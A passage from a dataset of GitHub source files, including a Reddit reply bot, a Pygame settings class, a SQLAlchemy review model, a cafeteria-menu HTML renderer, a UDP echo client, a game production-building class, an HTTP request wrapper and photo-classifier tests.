{self.getText(redditObject)}\\nResponse: **'{response}'** \\nLink - https://www.reddit.com{redditObject.permalink}\"\n self.send_webhook(link)\n\n except Exception as e:\n body = \"https://www.reddit.com\"+redditObject.permalink + \" - \" + str(e)\n self.send_errors(body, redditObject)\n\n\n\n \"\"\"Check to see if we should skip this thing\"\"\"\n def base_response_checks(self,redditObject):\n skip = False\n\n if not checkTime(redditObject):\n skip = True\n\n elif (not isComment(redditObject)) and (redditObject.link_flair_text == \"no entry sallu bhot\"):\n skip = True\n\n # Skip if the author is none, or Vizzy.\n elif redditObject.author == None or redditObject.author.name == self.bot_username:\n skip = True\n\n # I'm really scared of him going crazy again, man...\n elif \"sallu-bhot\" in str(redditObject.author.name.lower()):\n skip = True\n\n elif redditObject.author.name.lower() == 'sallu-bhot':\n skip = True\n\n elif redditObject.author.name.lower() == 'bhai-ka-driver':\n skip = True\n \n else:\n # Read in comments we've made\n readComments = getComments()\n\n # Skip if we've already read this comment.\n if redditObject.id in readComments:\n skip = True\n\n return skip\n\n\n \"\"\"Get all the info we need about a comment to respond to it\"\"\"\n def comment_processer(self,redditObject):\n user_text = redditObject.body.lower()\n\n return user_text\n\n\n \"\"\"Get all the info we need about a post to respond to it\"\"\"\n def post_processer(self, redditObject):\n user_text = redditObject.title.lower() + \"\\n\" + redditObject.selftext.lower()\n return user_text\n\n\n \"\"\"Splitting up between comments and posts, uses the above two functions\"\"\"\n def firstlook(self, redditObject):\n # Gather needed info if it's a comment\n if isComment(redditObject):\n user_text = self.comment_processer(redditObject)\n\n # Gather information if it's a post\n else:\n user_text = self.post_processer(redditObject)\n\n # Make sure there's nothing the bot will consider an extra line(not sure)\n \"\"\"\n if f\"{redditObject.author.name}: \" in user_text:\n user_text = user_text.split(f\"{redditObject.author.name}: \")[0]\n \"\"\"\n is_triggered = triggered(user_text)\n\n return user_text, is_triggered\n\n \n \"\"\"Primary Function\"\"\"\n def sallutime(self, redditObject):\n\n skip = self.base_response_checks(redditObject)\n\n if skip:\n print(f\"Skipping https://www.reddit.com{redditObject.permalink}\")\n return\n\n else:\n user_text, triggered = self.firstlook(redditObject)\n\n try:\n\n if triggered:\n '''\n If there's a normal Sallu Bhot trigger on a comment/post\n '''\n print(f\"Triggered, on https://www.reddit.com{redditObject.permalink}\")\n\n # Send a canon response\n self.response_canon(redditObject, user_text)\n\n #greet mesage\n \"\"\"\n if isPost(redditObject) and checkPost(redditObject,user_text):\n #and Welcome to Bigg Boss Shanivaar ka vaar\"\n greet = \"*Hello, Namaste, Assalamu Alaikum, Sat Sri Akal, Kem Cho, Kasa Kai, Kedo Haal Hai, Kemon Acho!*\"\n redditObject.reply(greet)\n writeComment(redditObject.id)\n link = f\"\\n{redditObject.author.name}: {self.getText(redditObject)}\\nResponse: **'{greet}'** \\nLink - https://www.reddit.com{redditObject.permalink}\"\n self.send_webhook(link)\n \"\"\"\n\n except:\n pass\n\n def run(self):\n while True:\n try:\n for posts in praw.models.util.stream_generator(lambda **kwargs: submissions_and_comments(self.subreddit, **kwargs)):\n try:\n self.sallutime(posts)\n except Exception as e:\n body = f\"Sallu Bhot Error Report:\\n{e}\"\n print(body)\n time.sleep(2)\n pass\n except (praw.exceptions.PRAWException, prawcore.exceptions.PrawcoreException) as e:\n body = f\"Reddit Stream Error Report:\\n{e}\"\n print(body)\n time.sleep(2)\n except KeyboardInterrupt:\n print(\"Keyboard termination received. Shutting Down!\")\n break\n except Exception as e:\n body = f\"Unexpected Error Report:\\n{e}\"\n self.send_webhook(body)\n print(body)\n time.sleep(2)\n\nif __name__ == '__main__':\n sb = SALLU_BHOT().run()","repo_name":"Sallu-Bhot/SalluBhot","sub_path":"old_main.py","file_name":"old_main.py","file_ext":"py","file_size_in_byte":7816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8517907687","text":"class Settings:\n \"\"\"A class to store all setting for Alien Invasion\"\"\"\n \n def __init__(self):\n '''Instializaing game settings'''\n \n #screen setting\n #self.screen_width = 1000 #no need to keep this after making it full screen\n #self.screen_height = 600\n self.bg_color = (230, 230, 230) #tuple \n \n #ship setting\n self.ship_speed = 1.5\n self.ship_limit = 3\n \n \n #bullet Setting\n self.bullet_speed = 1.5\n self.bullet_width = 300\n self.bullet_height = 15\n self.bullet_color = (60, 60, 60)\n self.bullets_allowed = 3 #This limits the player to three bullets at a time.\n \n #aline settings\n self.alien_speed = 1.0 #control the speed of each alien\n self.fleet_drop_speed = 10 #The setting fleet_drop_speed controls how quickly the fleet drops down \n # fleet_direction of 1 represents right; -1 represents left.\n self.fleet_direction = 1\n \n # How quickly the game speeds up\n self.speedup_scale = 1.1\n #control how quickly the game speeds up\n \n # How quickly the alien point values increase\n self.score_scale = 1.5\n \n \n #the values for attributes that need to change throughout the game\n self.initialize_dynamic_settings()\n \n def initialize_dynamic_settings(self):\n #Initialize settings that change throughout the game.\n self.ship_speed = 1.5\n self.bullet_speed = 3.0\n self.alien_speed = 1.0\n \n # fleet_direction of 1 represents right; -1 represents left.\n self.fleet_direction = 1\n \n # Scoring\n self.alien_points = 50\n \n #To increase the speeds of the ship, bullets, and aliens each time the player reaches a new level\n def increase_speed(self):\n #increase speed setting\n self.ship_speed *= self.speedup_scale\n self.bullet_speed *= self.speedup_scale\n self.alien_speed *= self.speedup_scale\n \n self.alien_points = int(self.alien_points * self.score_scale) #increase the point value of each hit\n print(self.alien_points)\n \n \n \n \n ","repo_name":"HBP1993/Pygame","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7180891536","text":"\"\"\" database dependencies to support sqliteDB examples \"\"\"\nfrom random import randrange\nfrom datetime import date\nimport os, base64\nimport json\n\nfrom __init__ import app, db\nfrom sqlalchemy.exc import IntegrityError\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\n''' Tutorial: https://www.sqlalchemy.org/library.html#tutorials, try to get into Python shell and follow along '''\n\n# Define the Post class to manage actions in 'posts' table, with a relationship to 'users' table\n# class Put(db.Model):\n# __tablename__ = 'put'\n\n# # Define the Notes schema\n# id = db.Column(db.Integer, primary_key=True)\n# note = db.Column(db.Text, unique=False, nullable=False)\n# image = db.Column(db.String, unique=False)\n# # Define a relationship in Notes Schema to userID who originates the note, many-to-one (many notes to one user)\n# userID = db.Column(db.Integer, db.ForeignKey('yelp.id'))\n\n# # Constructor of a Notes object, initializes of instance variables within object\n# def __init__(self, id, note, image):\n# self.userID = id\n# self.note = note\n# self.image = image\n\n# # Returns a string representation of the Notes object, similar to java toString()\n# # returns string\n# def __repr__(self):\n# return \"Notes(\" + str(self.id) + \",\" + self.note + \",\" + str(self.userID) + \")\"\n\n# # CRUD create, adds a new record to the Notes table\n# # returns the object added or None in case of an error\n# def create(self):\n# try:\n# # creates a Notes object from Notes(db.Model) class, passes initializers\n# db.session.add(self) # add prepares to persist person object to Notes table\n# db.session.commit() # SqlAlchemy \"unit of work pattern\" requires a manual commit\n# return self\n# except IntegrityError:\n# db.session.remove()\n# return None\n\n# # CRUD read, returns dictionary representation of Notes object\n# # returns dictionary\n# def read(self):\n# # encode image\n# path = app.config['UPLOAD_FOLDER']\n# file = os.path.join(path, self.image)\n# file_text = open(file, 'rb')\n# file_read = file_text.read()\n# file_encode = base64.encodebytes(file_read)\n \n# return {\n# \"id\": self.id,\n# \"userID\": self.userID,\n# \"note\": self.note,\n# \"image\": self.image,\n# \"base64\": str(file_encode)\n# }\n\n\n# # Define the User class to manage actions in the 'users' table\n# # -- Object Relational Mapping (ORM) is the key concept of SQLAlchemy\n# # -- a.) db.Model is like an inner layer of the onion in ORM\n# # -- b.) User represents data we want to store, something that is built on db.Model\n# # -- c.) SQLAlchemy ORM is layer on top of SQLAlchemy Core, then SQLAlchemy engine, SQL\nclass Yelp(db.Model):\n __tablename__ = 'yelp' # table name is plural, class name is singular\n\n # Define the User schema with \"vars\" from object\n id = db.Column(db.Integer, primary_key=True)\n _name = db.Column(db.String(255), unique=False, nullable=False)\n _rating = db.Column(db.String(255), unique=False, nullable=False)\n _review = db.Column(db.String(255), unique=False, nullable=False)\n _activity = db.Column(db.Integer, unique=False, nullable=False)\n\n # Defines a relationship between User record and Notes table, one-to-many (one user to many notes)\n # put = db.relationship(\"Put\", cascade='all, delete', backref='users', lazy=True)\n\n # constructor of a User object, initializes the instance variables within object (self)\n def __init__(self, name, rating=\"five\", review=\"super good\", activity='seaworld'):\n self._name = name # variables with self prefix become part of the object, \n self._rating = rating\n self._review = review\n self.activity = activity\n\n # a name getter method, extracts name from object\n @property\n def name(self):\n return self._name\n \n # a setter function, allows name to be updated after initial object creation\n @name.setter\n def name(self, name):\n self._name = name\n \n # a getter method, extracts email from object\n @property\n def rating(self):\n return self._rating\n \n # a setter function, allows name to be updated after initial object creation\n @rating.setter\n def rating(self, rating):\n self._rating = rating\n \n # check if airline parameter matches user id in object, return boolean\n def is_rating(self, rating):\n return self._rating == rating\n \n @property\n def review(self):\n return self._review # because of security only show 1st characters\n \n # update password, this is conventional setter\n #def set_password(self, password):\n # \"\"\"Create a hashed password.\"\"\"\n # self._password = generate_password_hash(password, method='sha256')\n\n # check password parameter versus stored/encrypted password\n #def is_password(self, password):\n # \"\"\"Check against hashed password.\"\"\"\n # result = check_password_hash(self._password, password)\n # return result \n \n @review.setter\n def photel(self, review):\n self._review = review\n # dob property is returned as string, to avoid unfriendly outcomes\n\n @property\n def activity(self):\n return self._activity\n\n @activity.setter\n def activity(self, activity):\n self._activity = activity\n\n # output content using str(object) in human readable form, uses getter\n # output content using json dumps, this is ready for API response\n def __str__(self):\n return json.dumps(self.read())\n\n # CRUD create/add a new record to the table\n # returns self or None on error\n def create(self):\n try:\n # creates a person object from User(db.Model) class, passes initializers\n db.session.add(self) # add prepares to persist person object to Users table\n db.session.commit() # SqlAlchemy \"unit of work pattern\" requires a manual commit\n return self\n except IntegrityError:\n db.session.remove()\n return None\n\n # CRUD read converts self to dictionary\n # returns dictionary\n def read(self):\n return {\n \"id\": self.id,\n \"name\": self.name,\n \"rating\": self.rating,\n \"review\": self.review,\n \"activity\": self.activity,\n #\"posts\": [post.read() for post in self.posts]\n }\n\n # CRUD update: updates user name, password, phone\n # returns self\n def update(self, name=\"\", rating=\"\", review=\"\", activity=\"\"):\n \"\"\"only updates values with length\"\"\"\n if len(name) > 0:\n self.name = name\n if len(rating) > 0:\n self.rating = rating\n if len(review) > 0:\n self._review = review\n if len(activity) > 0:\n self.activity = activity\n db.session.commit()\n return self\n\n # CRUD delete: remove self\n # None\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n return None\n\n\n\"\"\"Database Creation and Testing \"\"\"\n\n# Builds working data for testing\ndef initYelp():\n with app.app_context():\n \"\"\"Create database and tables\"\"\"\n db.create_all()\n \"\"\"Tester data for table\"\"\"\n y1 = Yelp(name='Thomas Edison', rating='five', review='good', activity='seaworld')\n y2 = Yelp(name='Nicholas Tesla', rating='five', review='good', activity='del mar')\n y3 = Yelp(name='Alexander Graham Bell', rating='five', review='good', activity='petco park')\n y4 = Yelp(name='Eli Whitney', rating='five', review='good', activity='seaworld')\n y5 = Yelp(name='John Mortensen', rating='five', review='good', activity='del mar')\n\n yelp = [y1, y2, y3, y4, y5]\n\n \"\"\"Builds sample user/note(s) data\"\"\"\n for yelp in yelp:\n try:\n '''add a few 1 to 4 notes per user'''\n # for num in range(randrange(1, 4)):\n # note = \"#### \" + yelp.name + \" note \" + str(num) + \". \\n Generated by test data.\"\n # yelp.put.append(Put(id=yelp.id, note=note, image='ncs_logo.png'))\n '''add user/post data to table'''\n yelp.create()\n except IntegrityError:\n '''fails with bad or duplicate data'''\n db.session.remove()\n print(f\"Records exist, duplicate email, or error: {yelp.uid}\")\n","repo_name":"jesa06/ANJLpt2","sub_path":"model/yelp.py","file_name":"yelp.py","file_ext":"py","file_size_in_byte":8570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5918426266","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n#\n\"\"\" mensa planer \"\"\"\n\nimport yaml\nfrom string import Template\nimport os\n\nDATA = yaml.load(open('current.yaml', 'r'))\n\nWEEKDAYS = ['Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag']\n\nADDITIVES = {\n 1:'mit Farbstoff', 2:'mit Geschmacksverstärker', 3:'mit Konservierungsstoff',\n 4:'mit Antioxidationsmittel', 5:'geschwefelt', 6:'geschwärzt', 7:'gewachst',\n 8:'mit Phosphat', 9:'mit Süßungsmittel', 10:'enthält eine Phenylalaninquelle',\n 11:'kann bei übermäßigem Verkehr abführend wirken', 12:'Schweinefleisch',\n 13:'aus kontrolliert biologischem Anbau', 14:'mit Alkohol', 15:'Rindfleisch',\n 16:'gentechnisch verändert',\n}\ndef render_day(weekday):\n day_template = Template(open('templates/day.html', 'r').read())\n dish_template = Template(open('templates/dish.html', 'r').read())\n detail_template = Template(open('templates/detail.html', 'r').read())\n base_template = Template(open('templates/base.html', 'r').read())\n dishes = []\n dish_id = 0\n for dish in DATA[weekday]:\n dish_id += 1\n dishes.append(dish_template.substitute(\n weekday=weekday, id=dish_id,\n name=dish['name'], price=dish['price_student']\n )\n )\n additives = []\n for additive in dish['additives']:\n additives.append('
  • %s
  • ' % ADDITIVES[additive])\n detail_file = open('output/days/%s-%s.html' % (weekday, dish_id), 'w')\n detail_file.write(\n base_template.substitute(\n title=\"Details\",\n content=detail_template.substitute(additives=\"\\n\".join(additives),\n name=dish['name'], price_student=dish['price_student'],\n price_employee=dish['price_emloyee'])\n ))\n detail_file.close()\n return day_template.substitute(weekday=weekday, day=\"\\n\".join(dishes))\n\ndef render():\n base_template = Template(open('templates/base.html', 'r').read())\n week = []\n week.append('
      ')\n for weekday in WEEKDAYS:\n week.append(render_day(weekday))\n week.append('
    ')\n return base_template.substitute(title=\"Mensa Uni\", content=\"\\n\".join(week))\n\nif __name__ == '__main__':\n if not os.path.isdir('output'):\n os.makedirs('output/days')\n output = open('output/index.html', 'w')\n output.write(render())\n","repo_name":"fheinle/mensa-unia","sub_path":"render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12973911597","text":"# -*- coding: utf-8 -*-\n# # # # # # # # # # # # # # # #\n# # NO NEED TO BE CHANGED. # #\n# # # # # # # # # # # # # # # #\n\"\"\"\ntask2.udp_echo_client\n\"\"\"\n\nfrom socket import socket, timeout, AF_INET, SOCK_DGRAM\n\nSERVER_IP = \"127.0.0.1\" # IP address of the server\nSERVER_PORT = 22222 # UDP Port of the server\nBUF_SIZE = 1024 # Maximum receiving data buffer size in bytes\nTIMEOUT = 0.5 # Timeout for receiving data in second\n\nif __name__ == '__main__':\n print(\"\\n --------------- UDP Echo Client ---------------\\n\")\n print(\"Type your message and hit [ENTER]\")\n\n # Create a UDP socket at client side\n # AF_INET: IPv4\n # SOCK_DGRAM: UDP\n sock = socket(family=AF_INET, type=SOCK_DGRAM)\n\n # Set timeout for the connection\n sock.settimeout(TIMEOUT)\n\n # An infinite loop\n while True:\n # Prompt user to type a message\n msg = input(\"< \")\n # Encode the message string into a bytestring\n byte_data = msg.encode()\n # Send the byte_data to the server through the UDP socket\n sock.sendto(byte_data, (SERVER_IP,SERVER_PORT))\n # Receive data from the server if it's running\n try:\n data, server_address = sock.recvfrom(BUF_SIZE)\n message = data.decode()\n print(f\"{server_address} > {message}\")\n if data.decode() == \"BYE\":\n break\n except timeout:\n print(f\"-- The server was not reachable at <{SERVER_IP}:{SERVER_PORT}> --\")\n\n","repo_name":"janick187/cs-tutoring","sub_path":"FS20/assignment solutions/Assignment 5/task2/udp_echo_client.py","file_name":"udp_echo_client.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31322412205","text":"from enum import Enum\nimport logging\n\n# define local modules\nfrom resources.buildings.building import Building\nfrom resources.flag import Flag\n\nfrom resources.item import Item\nfrom resources.item import ItemType\n\nfrom resources.stackslot import StackSlot\n\nlog = logging.getLogger(__name__)\n\nclass ProductionCategoryEnum(Enum):\n PRIMARY=1 # ie. WOODCUTTER, STONECUTTER\n SECONDARY=2 # ie. SAWMILL\n TERTIARY=3 # ie. IRONSMELTER\n\nclass ProductionCategory(Enum):\n WOODCUTTER=ProductionCategoryEnum.PRIMARY\n STONECUTTER=ProductionCategoryEnum.PRIMARY\n SAWMILL=ProductionCategoryEnum.SECONDARY\n\n# define an enum for the production building type\nclass ProductionType(Enum):\n WOODCUTTER=1\n STONECUTTER=2\n SAWMILL=3\n \n# define an enum for the building production speed\nclass ProductionSpeed(Enum):\n WOODCUTTER=500\n STONECUTTER=500\n SAWMILL=100\n\n# define an enum for the building production capacity\nclass ProductionCapacity(Enum):\n WOODCUTTER=1\n STONECUTTER=1\n SAWMILL=1\n\n# define the type of item to produce by building type\nclass ProductionItem(Enum):\n WOODCUTTER=ItemType.WOOD\n STONECUTTER=ItemType.STONE\n SAWMILL=ItemType.PLANK\n\n# create a production order class that defines the raw items to consume and the output item\n# A ProductionOrder defines the amount of input_item_types required to produce 1 output_item_type\nclass ProductionOrder():\n def __init__(self, input_item_types, output_item_type, tick_duration=100):\n self.input_item_types = input_item_types\n self.output_item_type = output_item_type\n self.tick_duration = tick_duration\n \n def __str__(self):\n return \"ProductionOrder(input_item_types: {}, output_item_type: {}, tick_duration: {})\".format(self.input_item_types, self.output_item_type, self.tick_duration)\n\n# define a class for a production building\nclass ProductionBuilding(Building):\n # override the init function\n def __init__(self, type,location=None):\n super().__init__(location)\n # define a name for the production building\n self.name = \"ProductionBuilding\"+str(self.id) \n self.type = type\n # define category based on the production type\n # lookup the categorey based on the production type\n self.category = ProductionCategory[type.name].value\n \n self.materials_stack = [] # Keep list of all items consumed at this building\n \n self.production_order = None\n # define the production order based on the building type\n if self.type == ProductionType.SAWMILL:\n self.production_order = ProductionOrder(input_item_types=[ItemType.WOOD], output_item_type=ItemType.PLANK, tick_duration=ProductionSpeed[type.name].value)\n \n self.production_stack = [] # Keep list of all items produced at this building\n self.capacity = ProductionCapacity[type.name].value # maximum number of items that can be produced at this building\n # Add stack of items to consume. Can be multiple items that are consumed together\n # Add output item when production is complete\n # Add tick duration for production to complete\n \n #log.debug(\"ProductionBuilding created with id: \" + str(self.id))\n #log.debug(str(self))\n \n # override the process function\n def process(self):\n if self.deleted:\n ##log.debug(\"ProductionBuilding with id: \" + str(self.id) + \" is deleted, skip processing\")\n return\n # call the process function of the base class\n super().process()\n \n #log.debug(\"ProductionBuilding with id: \" + str(self.id) + \" is processing\")\n \n # process the production stack\n if len(self.production_stack) > 0:\n #log.debug(\"Production stack is not empty, process the production stack\")\n for item in self.production_stack:\n item.process()\n #log.debug(\"Processed item: \" + str(item))\n if item.isReady():\n # first check if the building flag is full\n if self.flag.isFull():\n #log.debug(\"Flag {} is full, cannot push item: {} from ProductionBuilding with id: {}\".format(self.flag.id, item.id, self.id))\n continue\n \n # pop the item from the production stack\n item = self.production_stack.pop(0).getItem()\n # push the item to the item stack of flag\n self.flag.push_item(item)\n #log.debug(\"Item {} pushed to Flag {} from ProductionBuilding with id: {}\".format(item.id, self.flag.id, self.id))\n else:\n # production stack is empty, check if there is a production order that can be processed\n #log.debug(\"Production stack is empty, check if there is a production order that can be processed\")\n if self.production_order is not None:\n ##log.debug(\"\")\n can_process = False\n # copy the material stack items to a temporary list and remove the items from the material stack\n # as the items are match the production order\n copy_materials_stack = self.materials_stack.copy()\n \n #log.debug(\"Make a copy of the material stack\")\n # print the material stack\n #log.debug(\"Items in material stack: \")\n for item in copy_materials_stack:\n #log.debug(str(item))\n pass\n \n # check if the material stack has the required input items and remove them from the material stack\n # if the production order item cannot be matched, then the production order cannot be processed\n for input_item in self.production_order.input_item_types:\n #log.debug(\"Check if the material stack has the required input item: \" + str(input_item))\n \n # check if the input item is in the material stack\n if input_item in [item.type for item in copy_materials_stack]:\n # find the index of the input item in the material stack\n index = [item.type for item in copy_materials_stack].index(input_item)\n \n #log.debug(\"The material stack has the required input item: \" + str(input_item))\n # remove the input item from the material stack\n copy_materials_stack.pop(index)\n else:\n # the production order cannot be processed\n #log.debug(\"ProductionBuilding with id: \" + str(self.id) + \" cannot process production order: \" + str(self.production_order))\n return\n \n # the production order can be processed\n can_process = True\n break;\n \n # check if the production order can be processed\n if can_process:\n for input_item in self.production_order.input_item_types:\n #log.debug(\"Remove the input item: \" + str(input_item) + \" from the material stack\")\n # remove the input item from the material stack\n if input_item in [item.type for item in self.materials_stack]:\n # find the index of the input item in the material stack\n index = [item.type for item in self.materials_stack].index(input_item)\n #log.debug(\"The material stack has the required input item: \" + str(input_item) + \" at index: \" + str(index))\n # remove the input item from the material stack\n self.materials_stack.pop(index)\n else:\n log.error(\"ProductionBuilding with id: \" + str(self.id) + \" cannot process production order: \" + str(self.production_order))\n #exit the current for loop\n return\n \n # create the output item on the production stack\n stack_slot = StackSlot(item=Item(self.production_order.output_item_type, location=self.location), tick_duration=self.production_order.tick_duration)\n self.production_stack.append(stack_slot)\n #log.debug(\"Added stackslot for output item to start producing\" + str(stack_slot))\n\n # add item to material stack with location of the production building\n def addMaterial(self, item):\n item.location = self.location\n #log.debug(\"Location of item: \" + str(item) + \" is set to: \" + str(self.location))\n #log.debug(\"Added item: \" + str(item) + \" to ProductionBuilding with id: \" + str(self.id))\n self.materials_stack.append(item)\n\n # define a string representation of the production object\n def __str__(self):\n return \"{}(id:{} at Flag {} with category {} and type {} at {})\".format(self.name, str(self.id), self.flag.id, self.category.name, self.type.name, self.location)","repo_name":"lombaardcj/resourcesim","sub_path":"resources/buildings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":9272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7355203602","text":"#!usr/bin/env python3\n#\n# PORGAMMER: Martin Chileshe\n# DATE CREATED: 8/8/2019\n# REVISED DATE: 17/8/2019\n# PURPOSE: This module contains all the initialisation code for the model\n# Loading and saving the the trained model is also implemented in this module.\n#\n# module imports\n#\nimport torch\nfrom torch import nn, optim\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\nfrom workspace_utils import active_session\nimport numpy as np\nfrom utils import get_input_args, load_datasets\nfrom collections import OrderedDict\nfrom os import path\n\nclass Classifier:\n \n # define the model parameters\n args = None\n model = None\n optimizer = None\n criterion = None\n device = None\n epochs = None\n learning_rate = None\n arch = None\n hidden_units = None\n \n def __init__(self, args, device):\n self.args = args\n self.hidden_units = args.hidden_units\n self.arch = args.arch\n self.learning_rate = args.learning_rate\n self.device = device\n self.epochs = args.epochs\n self.criterion = nn.NLLLoss()\n \n self.set_model(models) # set the model\n self.optimizer = optim.Adam(self.model.classifier.parameters(), lr=self.learning_rate) # set the optimizer and the learning rate\n \n def set_model(self, models):\n \n \"\"\"\n sets the model\n parameters:\n model_name - the name of model to initilize with. Given as --arch\n hidden_units - the number of hidden unist to use in the network\n return:\n None - function does not retunr anything\n \"\"\"\n \n # define and set the model\n resnet18 = models.resnet18(pretrained=True)\n alexnet = models.alexnet(pretrained=True)\n vgg16 = models.vgg16(pretrained=True)\n densenet201 = models.densenet201(pretrained=True)\n\n models = {'resnet': resnet18, 'alexnet': alexnet, 'vgg': vgg16, 'densenet201': densenet201}\n \n # apply model\n self.model = models[self.arch]\n \n # Freeze parameters so we don't backprop through them\n for param in self.model.parameters():\n param.requires_grad = False\n \n # set the classifier to match our datasets\n classifier = nn.Sequential(OrderedDict([\n ('fc1', nn.Linear(1920, 1000)),\n ('ReLU', nn.ReLU()),\n ('fc2', nn.Linear(1000, self.hidden_units)),\n ('ReLU', nn.ReLU()),\n ('Dropout', nn.Dropout(0.7)),\n ('fc3', nn.Linear(self.hidden_units, 102)),\n ('output', nn.LogSoftmax(dim=1))\n ]))\n self.model.classifier = classifier\n \n def load_checkpoint(self, save_dir):\n \"\"\"\n loads the saved model\n parameters:\n save_dir - the path to the directory where the model is saved\n return:\n None - function does not retunr anything\n \"\"\"\n checkpoint = None\n if path.exists(save_dir):\n # load the checkpoint file\n if self.device == 'cpu':\n checkpoint = torch.load(save_dir,map_location=lambda storage, location: storage)\n else:\n checkpoint = torch.load(save_dir)\n \n # load the hyperparameter states form the checkpoint\n self.model.load_state_dict(checkpoint['state_dict'])\n self.model.class_to_idx = checkpoint['class_to_idx']\n self.optimizer.load_state_dict(checkpoint['optimizer_state'])\n self.epochs = checkpoint['epochs']\n self.learning_rate = checkpoint['learning_rate']\n self.arch = checkpoint['arch']\n else:\n # do nothing if there is nothing to load\n pass\n \n def save_checkpoint(self, save_dir, train_datasets):\n \"\"\"\n saves the trained model and other parameters to disk\n parameters:\n save_dir - the directory where the model should be saved\n train_datasets - the datasets that the model was trained on. \n this param is being used for getting the idx to class mappings\n \"\"\"\n self.model.class_to_idx = train_datasets.class_to_idx\n \n # crete custom dictionary to save additional params\n checkpoint = {'epochs': self.epochs,\n 'classifier': self.model.classifier,\n 'learning_rate': self.learning_rate,\n 'arch': self.arch,\n 'class_to_idx': self.model.class_to_idx,\n 'optimizer_state': self.optimizer.state_dict(),\n 'state_dict': self.model.state_dict()}\n\n torch.save(checkpoint, save_dir)\n","repo_name":"chileshemartin/aipnd-project","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":4679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74122426704","text":"\"\"\"\n@FileName:common.py\n@Description:通用参数、通用方法封装\n@Author:Huang Junxiong\n@Time:2023/7/27 上午9:23\n@Department:测试组\n\"\"\"\nimport requests\n\nfrom Utils.logger import LOG\n\n\nclass Common(object):\n\n token = None\n\n def __init__(self):\n self.headers = {\n \"Content-Type\": 'application/json',\n \"Authorization\": \"\"\n }\n\n def get(self, url, headers=None, time_out=10):\n \"\"\"\n get请求封装\n :param url: 请求完整url\n :param headers: 请求头,默认为类自定的头\n :param time_out: 请求超时时间\n :return:\n \"\"\"\n if not headers:\n headers = self.headers\n result = requests.get(url=url, headers=headers, timeout=time_out)\n result_json = result.json()\n if result.status_code == 200 and result_json['success'] == True:\n LOG.info('接口:{}请求成功,code:{},reason:{},success:{},message:{}'\n .format(result.url, result.status_code, result.reason,\n result_json['success'], result_json['message']))\n else:\n LOG.error('接口:{}请求失败,code:{},reason:{},success:{},message:{}'\n .format(result.url, result.status_code, result.reason,\n result_json['success'], result_json['message']))\n return result\n\n def post(self, url, headers=None, body=None, time_out=10):\n \"\"\"\n post请求封装\n :param url: 请求完整url\n :param headers: 请求头,默认为类自定的头,部分请求需携带token\n :param body: 请求body\n :param time_out: 请求超时时间\n :return:\n \"\"\"\n if not headers:\n self.headers['Authorization'] = self.token\n headers = self.headers\n result = requests.post(url=url, headers=headers, json=body, timeout=time_out)\n result_json = result.json()\n if result.status_code == 200 and result_json['success'] == True:\n LOG.info('接口:{}请求成功,code:{},reason:{},success:{},message:{}'\n .format(result.url, result.status_code, result.reason,\n result_json['success'], result_json['message']))\n else:\n LOG.error('接口:{}请求失败,code:{},reason:{},success:{},message:{}'\n .format(result.url, result.status_code, result.reason,\n result_json['success'], result_json['message']))\n return result\n","repo_name":"yedupeng/pytest","sub_path":"Interface/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74866785424","text":"#! /usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport os\nfrom nose.tools import assert_equals\nfrom nose.tools import assert_list_equal\nfrom nose.tools import with_setup\n\nimport photoclassifier.__main__ as phototool\n\nassert_equals.__self__.maxDiff = None\n\nbasepath = os.path.dirname(os.path.realpath(__file__))\nphotos_dir = os.path.join(basepath, '../data/photos')\n\nexpected_recur_pathnames = [\n os.path.join(os.path.abspath(photos_dir), '**/*.jpg'),\n os.path.join(os.path.abspath(photos_dir), '**/*.jpeg'),\n os.path.join(os.path.abspath(photos_dir), '**/*.png'),\n]\nexpected_nonrecur_pathnames = [\n os.path.join(os.path.abspath(photos_dir), '*.jpg'),\n os.path.join(os.path.abspath(photos_dir), '*.jpeg'),\n os.path.join(os.path.abspath(photos_dir), '*.png'),\n]\n\nexpected_recur_imagefiles = [\n os.path.abspath(os.path.join(photos_dir, 'photo1.png')),\n os.path.abspath(os.path.join(photos_dir, 'photo2.jpg')),\n os.path.abspath(os.path.join(photos_dir, 'photo3.jpeg')),\n os.path.abspath(os.path.join(photos_dir, 'funny/funny-photo1.png')),\n os.path.abspath(os.path.join(photos_dir, 'funny/funny_photo2.jpg')),\n]\nexpected_recurpath_nonrecur_imagefiles = [\n os.path.abspath(os.path.join(photos_dir, 'funny/funny-photo1.png')),\n os.path.abspath(os.path.join(photos_dir, 'funny/funny_photo2.jpg')),\n]\nexpected_nonrecur_imagefiles = [\n os.path.abspath(os.path.join(photos_dir, 'photo1.png')),\n os.path.abspath(os.path.join(photos_dir, 'photo2.jpg')),\n os.path.abspath(os.path.join(photos_dir, 'photo3.jpeg')),\n]\n\n\ndef get_imagefiles_setup():\n \"\"\"setup function for get_imagefiles\"\"\"\n expected_recur_imagefiles.sort()\n expected_recurpath_nonrecur_imagefiles.sort()\n expected_nonrecur_imagefiles.sort()\n\n\ndef get_sorted_list(list_):\n \"\"\"Get sorted list.\n @param list_: List would be sorted.\n @retval Sorted list.\n \"\"\"\n list_.sort()\n return list_\n\n\ndef test_get_pathnames():\n 